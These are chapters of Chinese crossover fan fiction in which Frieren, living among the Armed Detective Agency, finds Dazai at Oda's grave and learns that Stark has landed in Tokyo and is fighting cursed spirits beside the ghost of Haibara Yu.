大仓烨子动动手,异能力的威压涌现,她面上勾起一抹残酷的笑容,连末广铁肠这种常年读不懂气氛的家伙也忍不住打了个寒颤。
一个激灵之下,末广铁肠行动起来。
这个武力值怪物立刻从失衡中稳住身体,同时一手推给同样武力值还行的立原以撑起的力量,另一只手则提溜起脑力派搭档的衣领,把他往前扑的趋势止住。
硬生生将三人从即将摔成多米诺骨牌的状态给拉了回来。
大仓烨子见状按耐下蠢蠢欲动的异能,她双手抱臂,看着原地分开,各自站立的三人冷笑:“啊,好热闹,在干什么呢各位?”
“偷听,嗯?”
气场两米八的阴影打在三人身上。
血荆棘女王的压迫感在此刻降临。
34.让纸飞机飞得很远的魔法
……
吱呀——铁门被拉开。
条野采菊揉了揉太阳穴,疲惫地从审/讯/室里走了出来。
听到不远处大仓烨子的心跳因为他的出现而忽然加快,在因为消息而紧张么,不,应该是更复杂的情绪,愤怒,失望,忧愁。
条野采菊并不大喜欢这种情绪,粘腻得很,像粘牙的蜂蜜糖,他更喜欢的是审/讯时犯人的绝望恐惧,当然,不是队长那种。
条野采菊扭过头对上大仓烨子所在的位置,走了过去。
“队长全交待了。”他很不理解,这还是第一次审讯这么简单的“罪犯”,“稍微有点没有成就感啊。”
“给你,这是审/讯结果。”
……
那日,条野采菊和末广铁肠被安排着去逮捕“天人五衰”里的福泽谕吉和江户川乱步。*
出乎意料的是,除了末广铁肠执意要的决斗外,其他一点功夫没花,“犯人”们都很配合。
至于决斗的结果,条野采菊并不清楚是谁赢了,当时满场烟尘看不清,好不容易打完了,尘埃散去,结果双方状态半斤八两。
有着“银狼”称呼的福泽谕吉当然不会告诉他这么个不熟的人,而末广铁肠这个家伙平时和石头一样,干什么都闷心里,一声不吭,当然条野采菊也不想问他就是了。
烦。
不过好在,就像之前说的,“犯人”们很配合。
一路相安无事,直到坐在审/讯/室里,才有了变故。
乱步不慌不忙,说出了这样的话——“【书】给我们创造了莫须有的罪。”
心跳声,语气与呼吸,都没有变,不是假的。
还有一篇篇前线的报告传来,追捕的人面对围追堵截,都尽量避免冲突,特意避开密集人群,甚至到了零伤亡的程度。
怎么看,都怎么有秩序。
乱步翠色的眼睛注视着失明的条野采菊,条野采菊能够感受到。
他们不是罪人。
条野采菊相信自己的直觉,这份直觉在他过往的经历里帮过不少的忙,于是他自作主张放走了他们。
虽然,身为队长的兵卒是要以命令为先,但遗憾的是,他可不是个正宗的,走正式流程培养出来的人。
末广铁肠回来后,重重打开门,发现条野采菊和他手里空着的手铐,面无表情地拔刀。
他们打了一架。
“犯人们逃走了,你要遵从纪律去追么?”条野采菊用手抹去嘴边渗出的鲜血,扬起虚假的笑面。
“我没有看到。”
“那你怎么还打我?”
“你渎/职。”
条野采菊这会是真心地笑起来了。
啊,命令与良心,古怪的交织体,这正是末广铁肠。
然后,就是队长身份的暴露。
一开始,条野采菊是真的有点吃惊来着,但是说到底也就那么回事。
非要扒拉细节,其实一切都早有预料。
……
大仓烨子伸手,接过条野采菊手中厚厚的纸页记录。
“稍微看开点嘛。”条野采菊从回忆里回过神来,在交接的时候,他一边单手扶了扶军帽,将它理正,一边笑眯眯道。
“哼。”
“别摆着个冷脸啊,话说,队长交代了,他记录武装侦探社的那一页【书】不小心丢了,这点需要重点报告吧?”
“你看着办。”
……
【下午一点,武装侦探社员工宿舍处】
芙莉莲打着哈欠,困倦地走下员工宿舍,忽然她感觉周围变得静悄悄了,鸟鸣声没有了,只能听见毫无危机感的夏蝉在无休止地鸣叫。
嗯,有点不对劲。
白发的精灵停下脚步,她站在楼上向下看,果然看见楼下站着道影影绰绰的火红身影,好像在等人。
今天侦探社的大家都忙着处理新发来的各种事务,好像是澄清什么的,忘了叫醒芙莉莲,精灵难得睡了个美美的懒觉。
“是你。”芙莉莲认出了大仓烨子,见她手里端着杯热饮朝她走来,困惑地歪了歪头。
“这个,给你。”大仓烨子二话不说,将饮品塞到刚下楼准备去侦探社的芙莉莲怀里,力道很大,好似不容抗拒。
“啊,谢谢。”芙莉莲双手接过大仓烨子递过来的饮料。
“关于之前的事,我弄清楚了,”大仓烨子撇过头,“……不好意思。”
“我不知道你当时——”不是恶人,而且当时的身体也不是替身异能力的表现,而是本体。
夏蝉在树间嘶哑地叫着。
“你已经道过歉了。”芙莉莲打断了大仓烨子的话,用吸管捅开包装。*
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大仓烨子:“……”
“草莓味的。”芙莉莲冷不零丁开口,打破大仓烨子心底的纠结。
“啊?”大仓烨子一下子没有反应过来,她下意识发出一声疑问词。
“草莓味,很好喝。”芙莉莲晃了晃饮料杯子,又吸了一大口,眯起眼睛。
“……那当然,”大仓烨子愣了愣,然后笑起来,“这可是我亲手挑的,颜色也很好。”像血一样。
她们站在树荫底下,大仓烨子听着芙莉莲囤囤囤喝完了饮料。
“吸”的一声,包装袋瘪了下去,皱起来,应该是彻底空了。
芙莉莲这才重新把目光放到大仓烨子身上,上下一打量,她忽然愣了。
“你今年——是十二岁吧?”
在非敌对的情况下观察会更为仔细。
芙莉莲的疑惑又一次让大仓烨子也愣神了会,因为拥有玩弄岁月的异能,她对自己的时间其实已经没有什么强烈的概念了。
于是大仓烨子伸手,努力回忆着算了算,最后肯定地点点头:“对。”
很准。
但是,原来才十二年嘛。大仓烨子将手掌握成拳,有点恍惚。
“算了,要不要一起来折纸飞机?”芙莉莲看出她眉宇里的烦忧,不知道具体是什么,不过脑子里忽然想起来一个还没有使用过的魔法,或许正适合此刻,“把烦恼折进去,飞远就好了。”
“纸飞机,”大仓烨子有点为难,她轻轻道,这和她惯常的肆意不同,“也飞不了多远吧。”
“不会,我有办法。”芙莉莲自信满满。
大仓烨子信了。
他们从附近的便利店买来信纸。
将纸张横向对齐,对折再展开,然后将两侧的小角向中线对折出三角形,再次对折,将做出来的三角形顶点重合,展开……
一架纸飞机做出来了。
芙莉莲将它往远处投去。
小小的纸飞机,轻飘飘的纸飞机直直飞了出去,越飞越高,越飞越远。
“好远。”大仓烨子惊讶。
这似乎不太符合科学。
“不错吧?”芙莉莲得意地眯起眼睛,“这是之前在北部高原的时候,在帮忙调查了破坏农田里农作物的凶手后得到的魔法。”
她笑着说:“能让纸飞机飞得很远的魔法。”
35.那会更合人心意
时间悄悄流逝,又是几天过去,报纸等社交媒体上重新充满对武装侦探社的赞誉。
不久前刚接受了大仓烨子拜访的芙莉莲后知后觉地明白了——当天武侦众人忙的就是这回事。
福地樱痴把一切都交待了,和魔族合谋的一切,于是武装侦探社成功洗去一身罪名,重获清白。
这回可真是辛苦坏了,事件也终于算是圆满落幕。
于是武装侦探社的大家你看我我看你,打算好好庆祝一番,开上一场庆功宴。
(江户川乱步:记得给本名侦探大人点粗点心!)
但是,就在准备一块儿去楼下“漩涡”餐厅里大吃一顿时,大家忽然发现太宰治又双叒叕一次不见了踪影。
奇怪,太宰治这回是去了哪里呢?
虽然太宰先生这个人吧,老是摸鱼,老是躲懒,各种消失,但是在这种场合总不应该会失踪吧,也太不大好了,而且也不符合他的个性,除非是——在讨论的时候就已经不在了,没有被通知到……
“难道是又在哪自/杀了,所以才没有收到手机消息?”中岛敦说,他回忆起之前自己和太宰治出的简单任务,“上回有看到太宰治先生吊在梧桐树枝丫上,这次难道也是在某棵歪脖子树上不成?”
“很大概率,但是也可能是入水,殉/情或者在水上漂流,然后手机泡水坏掉了。”宫泽贤治坐在自己的办公桌上,双手捧着幼苗盆栽,专注地欣赏,时不时小心翼翼碰一碰稚嫩的小叶子,“每回国木田君和他搭档出任务,不都是去水里捞人么?”
“昏迷,被好心人送医院……也有可能。”泉镜花一边拆开糖果小零食的包装,准备给乱步,一边这样指出。
“唔,会不会是去后山采毒蘑菇吃去了,然后晕乎乎看不到?”
“还可能是去采购新绷带吧……”
……
众人议论纷纷,把太宰治的黑历史反复来反复去,挖了一遍又挖一遍。不知道的,还以为聊天主题是太宰治先生的花式逃活办法大全。
不过,也有出乎大家意料的情况,往日里对太宰治最恨铁不成钢的国木田,这回居然很是沉默。
直到大家把猜测都说完了,他才摇摇头,缓缓开口:“不,他这次,应该不是去做这些蠢事。”
国木田独步边说着,边推了推眼镜,他合上了记录用的笔记本:“我亲眼看到了,太宰他最后一次是在……”
说到一半,国木田忽然叹了口气,随后转头看向芙莉莲。
“芙莉莲小姐,我知道他最后出现的地点,但是能否麻烦您用追踪魔法找一下太宰治的位置吗?”国木田独步郑重地拜托芙莉莲。
“你是在关心他吗?”
“嗯,”国木田独步推了推自己的眼镜,啪地合上名为“理想”的笔记本,“虽然这个家伙平日里总是当个浪费绷带的装置,不思进取的混蛋,自/杀/狂魔……”
越说越咬牙切齿。
“但他是我的搭档。”他最后沉声道。
芙莉莲平静地点点头,答应下来:“好,有足迹就行。”
【废弃教堂】
走过遍布青苔,野草丛生的石板路,芙莉莲迈进已经没有门的入口,她抬起头,阳光自教堂破旧彩窗撒下,折射出斑驳的五彩光影,打在她的脸庞上。
遥望高大沉重的门扉,它上面尚还存在着许多焦黑的弹口。
芙莉莲跨过一级又一级的台阶,拾级而上,很快站到它的面前,推门走了进去。
面前是被数根多立克柱式大理石柱支撑的走廊,很精致却又很陈旧,因为护理不当,青苔爬了上来。
芙莉莲继续往前,一步一步地走着。
这里很荒芜,也很空旷,能够听到每一次鞋子落地时的回音。
芙莉莲耳畔暗红色的耳坠轻轻摇晃,她整个人的身影都被光线拉得很长很长。
怜悯的神明雕像立在尽头两侧的角落,光打不到的地方。
沉默的石像,被阴影隐藏。
真是悲凉啊。
芙莉莲终于走到了目的地。
宽敞的大厅,玻璃制的大吊顶,还有——
一大滩,已经渗得地板变质,已经变成沉郁暗褐色的凝固血迹。
是这里吗?
芙莉莲平静地环视了一圈。
看来是了。
她来到这里,太宰治最后消失的地方,挥动法杖,一连串脚印散发出幽蓝的光与气息,一路向外延绵,于是芙莉莲跟了上去。
……
【海边,郊外墓园里】
不远处,平静的海面上方,一只海鸥孤单地翻飞着,它一直在一个地点的上方拍打着翅膀,周旋徘徊,时不时发出单调的鸣叫。
太宰治靠在一座墓碑前,安安静静地坐着。
“我们的相遇,绝不是为了用回忆困住自我,束缚一生,而是要带着彼此的记忆走向未来。”*
芙莉莲的话语似乎还在他耳旁回响。
太宰治低着头,面上没有任何表情,只是伸出手指,慢慢地拂去墓碑上的尘土与污渍,轻轻地抚摸着上面的刻字。
【织田作之助之墓】
他是背对着芙莉莲的,明明只是背影,却莫名让人心生沉默。
芙莉莲终于找到了太宰治。
见到这个场面,她神色顿了顿,脚步也跟着放轻。
然后——
目不斜视地从太宰治身边走过。
(芙莉莲:看上去并没什么需要担忧的安全问题,走了。)
“芙莉莲小姐。”却没有想到,太宰治忽然叫住了她。
听到太宰治喊她的名字,芙莉莲假装没听见,继续往前走。
“芙莉莲小姐。”没想到太宰治不达目的不罢休,又喊了一句,声音比原先更大了些。
“嗯?”芙莉莲没办法继续装聋作哑了,她只得停下了脚步,站定,眼里满是“你有什么事吗”的意思。
“听说你们那里有僧侣可以沟通女神,那么,天国,是真的存在吗?”出乎意料的是,太宰治居然问了这样的问题。
“这个问题……【书】里不是还记着我的故事么?直接看就好了。”芙莉莲回答了他,转过身打算继续离开。
“【书】可没那么大的能耐,里
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面不过是些故事的梗概,”太宰治摇摇头,“比如,经过十年奋斗,勇者一行人成功打败魔王,荣归故里这样的话。”
“这样啊,”芙莉莲没有扭过头,声音不紧不慢,“那么我想——应该是存在的吧。”
“因为,曾经有人说过,”她把脸埋在蓝色围巾里,看不清神色,“那会更合人心意。”*
“这样么。”比起往日轻浮的微笑,此刻太宰治微弯的笑意倒是真切了不少,温和的,释然的,“……这样也好。”
他直起身子,站了起来,拍掉身上的尘土。
“太宰治,武装侦探社的大家都在等着你。”
“嗨嗨,知道了~多谢芙莉莲小姐你的告知。”他双手枕着自己的头,向芙莉莲走了过去。
“一起走吧。”
太宰治身后,那只迟迟徘徊,不肯离去的海鸥在海上拍打着翅翼,周巡了许久后,最终还是振翅,飞向了太阳。
好好休息吧,织田作,不会再让你担心了。
……
“对了,太宰治。”芙莉莲总感觉自己有什么忘记问了,现在忽然想了起来。
“嗯?”
“你认识德拉科么,他曾经说过那个人类,福……”
“福地樱痴?”
对,他说福地樱痴的梦想听起来就很无厘头……”
“是德拉特,小姐,”太宰治耸耸肩,先是指正了芙莉莲的口误,然后才回答了她的好奇,“你是在好奇福地樱痴这么做的原因吗?”
“其实是很简单的理由,因为曾经我们这儿有一场残酷的战争,一场充满异能力者,连累死去了无数普通人的战争,当然,还有个因素,神刀雨御前穿越时空带来的警告预言——再一次的战争。”
“因此,他想利用【书】改写世界,阻止世界大战,建立无异能无战争的新世界,而【书】。”太宰治晃了晃手里的《完/全/自/杀/手册》,“魔族不是交给我保管,哦不对,制约了吗?他的需要在这,但是阿乌拉他们要求事成之后才给答复。”
战争……
芙莉莲的眼里仿佛摇曳着连绵不断几千年的人类与魔族的战火,她想起魔王存在时期,一批又一批赴死的勇者小队和一场又一场的屠/杀和,以及如今他们世界仍不稳定的和平。
除去所有使用魔力的生物,世界真的会变好么?
恐怕结局并不会如福地樱痴之类人的意,而且想要实现也——
“这很困难。”良久,她淡然地开口。
“是啊。”太宰治赞成般点点头。
在他看来,知道未来后也有很多种办法阻止战争,至于根除“罪恶”的根源……处于淤泥与黑暗当中的太宰治,作为曾经港口Mafia的“操心师”,他可太了解人性的恶了,这可不是简简单单除去异能力就能够被抹去的。
“不过,总会有办法的,因为那更合人心意不是吗?”
正义战胜邪恶,和平终会到来。
“这还是你教会我的,芙莉莲小姐。”太宰治眨眨眼。
芙莉莲笑了:“没错,确实如此。”
她这么说。
36.我会找回他们
今天天气不错,难得的完美晴天,不热也不冷,空气也因为昨日刚下了雨而很是清新。
孩子欢快的跑步嬉闹声自楼下传来。
一个适合出门的好天气。
“久作,过来一下,”乱步理直气壮地朝梦野久作招手,“帮本名侦探带这个!”
他递给梦野久作一张传单,上面是新开的一家便利店,封面最大的版面正是它家独有的特色美味零食。
“到时候乱步大人分你一点。”
“好耶。”久作欢快点头,倒是有几分他这个年龄该有的孩子气了。
接着,两个人头挨着头,嘀嘀咕咕,最终达成交易。
在最近这段相处的时间里,大家慢慢接受了梦野久作的存在,当然,对他的日常监管还是没撤掉的,毕竟小崽子都被养歪到声名显赫的地步了,肯定还是有些地方是需要及时掰一掰的。
梦野久作就这样带着给乱步大人购买小零食的艰巨任务,愉快地出去透透气了。
见一直闲在侦探社里的久作都走了,芙莉莲当然也不想再继续闷在这,于是也产生出门逛逛的想法。
“芙莉莲小姐,需要我来带你找附近好玩的地方吗?”
这时中岛敦恰好路过。
他本来是正盘算着要不要也出门去买碗茶泡饭来着,结果碰巧,眼尖地看见芙莉莲正握着门把手,准备出门。
因为之前有被委派过向导职位,所以他就很自然地提出想要跟上去。
但是,芙莉莲摊开掌,手往前伸,制止住中岛敦前进的步伐。
直截了当地拒绝了。
想要一个人看看风景,放松一下。芙莉莲面不改色说道。
然后,她就带着自己所有的家当——一根法杖和一个手提箱径直走了出去。
穿过喧嚣的车流和拥挤的人群,穿过欢声笑语,渐渐的,各色声音淡去,芙莉莲来到鹤见川旁边。
鹤见川,这条河流是她接触这个世界的伊始。
芙莉莲将东西平放在周围,平放在手可以触碰到的地方,然后整个人直接躺在河岸边,安静地听起流水的潺潺。
哗啦哗啦哗啦。
此时,天边层叠的云遮住了阳光,它落在地上的阴影也遮住了芙莉莲。
头发散乱地铺开,白发的精灵闭着双眼,双手枕着头,暖洋洋的温度让她有些昏昏欲睡。
明明来到这个世界的时间并不算久,还没有几年呢。但是,很奇怪,为什么这一次她却觉得好慢?
到底要到何时才能够找全他们呢?菲伦,休塔尔克……
不知道是什么原因,当身心放松的时候,当大脑从疲倦变得轻快的时候,承载的事物总是会被一件又一件地掏出,不知疲倦。
从与菲伦、休塔尔克现在的旅行到那历时十年的勇者小队冒险,再到千年前——
她好像嗅到了满满的花香……
【芙莉莲,我有一个请求。】*那个时候,年轻的芙莉莲坐在崖边的草地上,师父站在她身后,她们两人共同看着夕阳。
红色的日轮沉了下去,彩色的霞光溢满天空。
【什么?】*芙莉莲没有回头,她只是懒洋洋地问。
芙莉莲已经习惯了师父对她偶尔的不正经求饶恳求,以为这次也是一样。
【请你把我的坟墓四周变成花田。】*
【啊,那真不适合你。】*芙莉莲并没有发现这次的异常,她面无表情地回道。
芙拉梅安静地低下眼,长水滴形状的红宝石耳坠如今挂在了胸前。
如夕阳般的橙红色发丝垂落,垂落在芙拉梅脸庞一侧,同时,也隐隐露出几缕不知什么时候冒出来的白发。
师父温柔地看着芙莉莲,眼里却藏着万般无奈的悲伤。
【……是啊。】*
是啊,人类的寿命很短暂,所以——
调皮的风卷起银白色的长发,云层不知何时散去,没有了遮挡,刺眼的阳光肆无忌惮地打下,打在芙莉莲的脸庞上。
实在是太亮了,她忍不住半睁开双眼。
伸出一只手,挡在眼前。
芙莉莲仰头去触碰太阳,斑驳的光在她瞳孔里闪耀。
虽然白发的精灵依旧很难以理解复杂的感情,但她一直在努力,就像她过往的朋友说的,她一直在努力去看懂曾经那一双双眼睛里所蕴含的东西。
【我会找回他们的。】
因为拥有漫长到数不完的寿命,精灵的生活总是不紧不慢,一闭眼一睁眼便是沧海桑田,把感官都给磨钝了。
“只是短短十年”,“五十年而已”,一直是这样认为的,随意就
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说出了口,看不到同伴们笑容里暗藏的无奈,直到失去真正在意,真正在乎的人,才后知后觉想要改变,发生改变。
伏拉梅,辛美尔,海塔……鲜活的人影一个个老去死去。
芙莉莲不想再这样了。
虽然时间于她,依然易逝,可是……
恍惚间,芙莉莲仿佛看到了一红一紫两道身影站在她面前。
年轻的,充满朝气与活力,充满生气和无畏。
“芙莉莲女士,芙莉莲女士,快醒醒,快起床,我们要出发了。”
少女推着白色被团,像是在揉面团。
结果叫了半天也没有回应,可是时间是真的真的不能再拖了。于是少女无奈地叹了口气,把精灵背到了身上。
“菲伦,你背得不累么?要不,还是让我来背芙莉莲吧。”走了一段路,一旁的少年主动提出帮助,他伸出双手,捏着比划。
“……不要。”
“欸,为什么啊,为什么不让我背?而且为什么是这种嫌弃眼神啊!”
他们在等着她。
【芙莉莲,】披着斗篷的蓝发勇者不知何时又一次出现在精灵身边,冲她安静地微笑,温和而轻声道,【大家都在等着你,快走吧,是时候——向前了。】
……
“芙莉莲小姐,芙莉莲小姐——”熟悉的声音在不远处响起,唤回了她的思绪。
芙莉莲转过头,看见朝这里跑来的中岛敦。
于是她从河岸边坐起,拍了拍粘在身上的土渍与草屑,向他走了过去。
“怎么了?”芙莉莲平静地问。她并不意外中岛敦会找到她,尽管她并没有告知出去的地点。
他会找到她,是【虎】的直觉吧。
“有、有消息了,找到了!”中岛敦并不清楚芙莉莲脑子里都在漫游般想着什么,他在她面前停下,因为跑得太快了,有点上气不接下气,可是尽管已经是这么累了,他的面上依旧保持着由衷喜悦的笑容,充盈得像一颗小太阳。
他一边喘息,一边高兴地和芙莉莲通知了这个好消息,咧开嘴笑起来:“终于找到了!是芙莉莲小姐你之前说过的,说过的一个,他叫——”
“休塔尔克。”
简单的词汇激起耳畔的震荡。
芙莉莲猛得睁大了眼睛。
37.我会牵制住他们
【东京】
游人如织,车水马龙,街道上灯影闪烁,交相辉映,满城喧闹。
这里算得上是樱花数一数二的大都市了。
无数的行人来来往往,有的在愉快地聊天,有的拎着公文包行色匆匆,有的大声打着电话……他们都没有注意到有无数黑气从自己的身体里涌出。
痛苦,后悔,耻辱,愤怒……
负面情绪蔓延,向上,汇聚,最后形成一个又一个奇形怪状的事物。
普通人的眼里倒映不出它们的影子。
咒灵,自人类肉/体负面情绪中诞生的诅咒。
不要与它们对视,不要卷入它们的世界,不然,就再也不能回头了。
“芙莉莲——哇啊啊啊——”伴随着一声惊天大喊,红色的一团从空中翻滚着跌落而下。
“咦,今天有流星雨吗?”有路人似有所觉抬起头,望到天边划过的轨迹,没忍住发出自己的困惑。
“嗯……还没到那个时候,你应该是眼花了吧,”同伴怀疑地猜测道,“嘶,等等,我记得你不是最近老是说自己的肩膀很沉重么,可能是太累了?”
“唔,可能吧。”路人皱着眉,认可了这一说法,他的肩膀上正趴着一两只苍蝇样的小东西,但他本人却毫无察觉,只一个劲怒骂,“要命的工作,精神疲劳也得加班。”
蝇头,等级低于四级的低级咒灵,虽然不具备致命性,但依旧会影响身体。
“说的也是呐。”同伴苦恼地附和,蝇头从路人的左肩爬到右肩,又飞到同伴的身上,但她的眼里却始终空无一物。
……
刚下过一场雨,昏暗的小巷里堆满了垃圾,泥泞而肮脏,窸窸窣窣窝藏着许多小生物。
砰咚——重物掉落下来,砸到地上,溅起泥点和尘土,胆小的老鼠们纷纷逃散开。
“嘶——”漫天灰尘里,一个人影踉踉跄跄站起,稳住了脚跟。
“疼。”休塔尔克揉了揉自己的脑门。
莫名其妙就头朝下,还在空中三百六十度式旋转掉下来,把他整得晕乎乎的。
休塔尔克甩了甩头,很快又跟个没事人一样了。
从这么高的天空掉下来,也就只有战士承受得住了吧。
没有流血也没有淤青,除了轻微的破皮外,一切完好无损。
休塔尔克张开手臂,拉伸了一下,活动活动筋骨,然后左右打量起四周。
“咦,好脏。”他低下头看了眼自己的衣服,果然,大片大片的泥垢在衣服上开了花,还有几处破破烂烂的划痕,休塔尔克瞬间颓废下去,红色的翘毛都蔫了,“不要啊,刚洗的衣服欸,一点也不想再补衣服洗衣服了。”
就在他抱怨的时候。
【危险】
直觉忽然发出警报,尽管目前观察了一圈,什么有威胁力的东西都没有,但休塔尔克还是闪避开来。
轰——
地上凭空多出一个巨大的深坑。
休塔尔克咽下一口唾沫,后退了一步。
什么鬼,隐形怪物?这是什么奇怪的敌人喂,师父完全没教怎么应付啊!
休塔尔克嘟囔着,还没等他嘀咕完,汗毛再一次倒竖。
【不妙,是后边】
他又是一个翻身躲了开来,凛冽的风刃擦着脸颊而过,留下一道浅淡的血痕,刮去几缕红色的短发。
不止一个隐身的敌人。
嗡——直觉再次发出警告,还是好几道。
怎么还来!
他蹦哒起来,翻身跳接滑铲闪,鱼尾跃配蹬墙踢,愣是把所有看不见的杀招全躲过去了。
不知道的还以为他在跳艺术体操,又或者是在练习马戏团功夫。
“什么情况啊这是,芙莉莲你在哪,快救救我——”
休塔尔克欲哭无泪,一边左躲右避,一边大喊。
这时,磅礴的气势迎头劈来,因为惯性,这招躲不过去了。
休塔尔克睁大眼睛,隐隐约约间他似乎看见,正前方有一个庞大的,肉球般恶心丑陋的怪物。
轰——
一道漆黑的力量把怪物的攻击拦截,巨大的冲力带着它一起拐了个弯打到墙面上,墙体瞬间被洞穿,碎砖落下。
得、得救了。
休塔尔克往来源处看去,那里站着一个一头黑色短发,看起来颇为开朗的少年。
此刻他手伸直,一股与怪物同源的力量自指尖产生。
远程攻击……魔法?!!不对,感觉不像,但是好厉害。
休塔尔克眼睛一亮。
休塔尔克:太好了,是怪物克星,我们有救了。
“多谢了,这位小哥!”他咧嘴笑起来,冲好心人道。
砰咚——后头还在翻来覆去,天崩地坼。
休塔尔克的笑容僵硬在脸上,啊对哦,这种时候问候还是太早了点,打了一个还不够,后头还有一群隐形生物哩。
于是,年轻的战士三两下窜到小哥身边,忽然,一把扒拉起小哥的裤腿。
在少年不可思议的眼神里,休塔尔克用洪亮的声音说出了特别没出息的话:“小哥,菜菜,捞捞。”
少年:……(欲言又止)
没等到少年的回复,休塔尔克抬起了头。结果就在这么一瞬间,观察四周的一瞬间,他的表情就彻彻底底僵住了。
原本看起来空空荡荡的小巷子,现在变得截然不同。里头忽然挤满了很多很难以用语言来形容的东西。
如果非要找出些词汇来描绘,那应该就是,粘液,数不清的肉块,复眼和触角,还有因为个体过多,频率相似,而交叠在一起,含糊不清的嘶吼——“垃圾”“渣滓”,休塔尔克听到并认识的单词只有这些,还有些含糊的没有记录下来,它们反复地讲着,固执地重复了一遍又一遍,像一个个偏执狂。
轰——又一次攻击来了,或许是因为震惊,少年反应慢了半拍,被休塔尔克拉着躲开冲击。
越来越强了。
不对劲。
休塔尔克皱起眉,一种熟悉的感觉流动在怪物们的周围,不是先前他们本身的能量,好眼熟啊……
他脑海里忍不住闪现出两位魔法使同伴的身影。
她们拿着法杖,释放出不同的魔法,让田地长满鲜花,让衣服清理一新……每一次施法,休塔尔克都能敏锐察觉到空气里振动的变化。
是魔力?他这样猜测。
又一道黑色的光束,力道很大。
休塔尔克表情凝重起来,快速地伸
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出手,抽出身后背着的斧头,挡下那一击。
当——斧面发出清脆的响声,不过,好歹是拦下来了。
尽管手臂和腿部肌肉都在微微颤抖着,因为危险而颤抖,但他愣是抗下来了。
眼睛盯着前方的敌人。
“你能打败它们吗?”休塔尔克问旁边的少年。
“啊,能的,”少年反应过来,他谨慎地回答道,“但是需要一点时间。”
“好,那我就帮你尽量拖住他们。”休塔尔克一咬牙,转过头,像是把所有希望都给托付了,“拜托啦,不知名的好心人,最后可一定要打败它们啊!”
少年肃然点头,郑重承诺:“没问题。”
休塔尔克深呼吸一口气,俯下身,还轻微打着摆子的手握紧斧柄。
一只硕大,带着粘稠液体和倒刺的触手朝休塔尔克打来。
“垃圾,需要回收,垃圾……”
休塔尔克蹦了起来,触手的进攻扑了个空,打在地面,大地四分五裂,碎块飞起。
休塔尔克踏着碎块,顺势落在滑腻的触手上,踩着向上奔跑。
怪物惊慌地抽手,休塔尔克却并没有继续向前的意愿,他借力一蹬,跃到空中。
他盯着面前密密麻麻的猎物,火红的眸子专注异常,斧头往下。
大开大合,用尽全力的劈砍。
就这么,牵制住它们。
赤色的发在空中,因为战斗的波动扬起,露出额头的伤疤,休塔尔克完全将心神沉浸入战斗里了,他的呼吸他的姿势他的力气,全都自发地调整成了战斗里的最佳水准。
一线庞大的光晕,震荡起一圈又一圈的气势。
【闪天击】——
亮眼到不可思议的光芒。
“快,就是现在,”休塔尔克猛得回头,不顾面上的汗水,大声喊,“小哥你准备好打败它们了吗?”
不知名的小哥:……
后头的沉默让休塔尔克心慌,他声音发颤:“不是说,拖延会时间就行了吗?”
休塔尔克身后的黑发少年忍了又忍,终于还是破功了,他语带笑意:“不用了。”
“欸?!!!”不是吧,难不成要放弃他?!有那么一瞬间,绝望涌上休塔尔克心头。
“你自己看看吧,”少年显然察觉到了休塔尔克的情绪,他双手插兜,“很厉害嘛,全部都被处理掉了。”
休塔尔克转回头,视线落在前方,满天尘埃间,巨大的坑洞里空空荡荡,没有一丝生物存在的痕迹。
…
……
………
搞什么啊,整半天居然这么弱。
他讪讪摸了摸鼻尖,重新把斧子放回背后。
原先的少年站在不远处,休塔尔克走向他。
“喂,好心小哥,”休塔尔克挠了挠头,“还不知道该怎么称呼……你还记得自己的名字吗?”
“我?啊,第一次有人问我,让我想想……”少年指了指自己,眼睛茫然地眨了眨,他瞥了眼一旁的深坑,努力回想,终于抓住了一丝感觉。
只见他一仰头,一只手握拳砸向另一只平摊的手,露出个灿烂到闪眼的笑:“啊对,我记起来一点了!我是——”
“灰原雄。”
38.奇怪的角度
“好,我记住了,”听了灰原雄的答复,休塔尔克竖起一个大拇指,指向自己,爽朗道,“看起来我们差不多大啊,你叫我休塔尔克就行。”
灰原雄点点头。
“好哦,休塔尔克君。”
“君字可以去掉,去掉,”休塔尔克说,“太疏远了点吧。”
“好吧,那,休塔尔克。”灰原雄从善如流。
“对,就是这样,灰原。”休塔尔克竖起大拇指。
边聊着,他们两个边并肩走出巷子,看到不远处夜晚街道五光十色的招牌和密集到摩肩接踵的行人。
“好多人啊,真热闹,感觉就算是王都也只有在重大节日的时候才会聚集这么多人吧。”休塔尔克感慨了一句,他忽然扭头看灰原雄。
“灰原,你知道这里是什么地方吗?那些丑得辣眼睛的东西到底是什么啊?”
“这里是东京,每一天都像这样热闹,甚至今天是工作日,人算少了,周末还会更多些,”灰原雄并没有因为他接连不断的问题而感到不耐烦,他一个个回答过去,“至于先前遇到的那些,是咒灵。”
“咒灵,”休塔尔克眨眨眼睛,不远处彩色霓虹招牌的光影在摇曳,“那是什么?”
“人类负面情绪汇聚成的东西。”
“真是神奇,情绪居然也能变成怪物,”休塔尔克思考了一会,“欸,灰原,你说我也会造出他们吗?”
“应该……会的吧?”灰原雄不确定地回答。
“这样么,那还挺难想象的。”休塔尔克点点头,然后望向街口。
“奇怪,”他忽然嘀咕了一声,眼底倒映着来来往往的人群,“咒灵这种存在多吗?怎么感觉刚刚看到好多,现在却一个也没有了呢?”
“可能是因为你没有咒力?普通人是看不到咒灵的,除非是生死危机时刻,但是似乎你的身体并不认为那是危险,”灰原雄歪歪头,“刚才能看到的话,应该是因为我。”
说着他伸出手,触碰休塔尔克的手臂。
休塔尔克:!
视野一下变得拥挤起来。
丑陋的扭曲的,和无尽的絮絮低语如潮水般涌来。
有的穿过来往人群的躯体,有的停留在他们身上,有的挤在人群缝隙,不住发出重复的怨念。
休塔尔克瞳孔微颤。
灰原雄松开手。
铺天盖地的咒灵们便像是被一键删除般,全部清理一空,世界又再次变得明媚。
“呼,没想到,有这么多。”休塔尔克忍了又忍,还是没忍住开口了,他满脸震惊,“你眼里的世界难道一直都是这个样子吗?”
灰原雄点点头,然后又抬头:“好像一直是的,无论是生前还是死后。”
“啊,这听起来还怪麻烦的……等等,生前死后?!”休塔尔克不着痕迹地往后退了一步,“你现在居然不是人!”
灰原雄:“……”
灰原雄:“我以为你猜到了。”
“怎么可能啊,这种事?”迟钝的休塔尔克这才感受到身边路人们投来的困惑与不解,原来当时他们奇怪的是——好好一大小伙子怎么就开始和空气对话了呢,还谈得这么顺畅有条理。
“你可是第一个看到我的人。”灰原雄在原地飘着,是的,这个时候休塔尔克才注意到他并没有脚,“先前我也救下过不少遭遇咒灵而无法抵抗的普通人,但只有你看见了我的身影,触碰到了我,听到了我的声音。”
“是吗,”休塔尔克一笑就露出了一口白牙,很有感染力,“那咱们还挺有缘的!”
灰原雄也不由地笑起来。
“可不是嘛。”
……
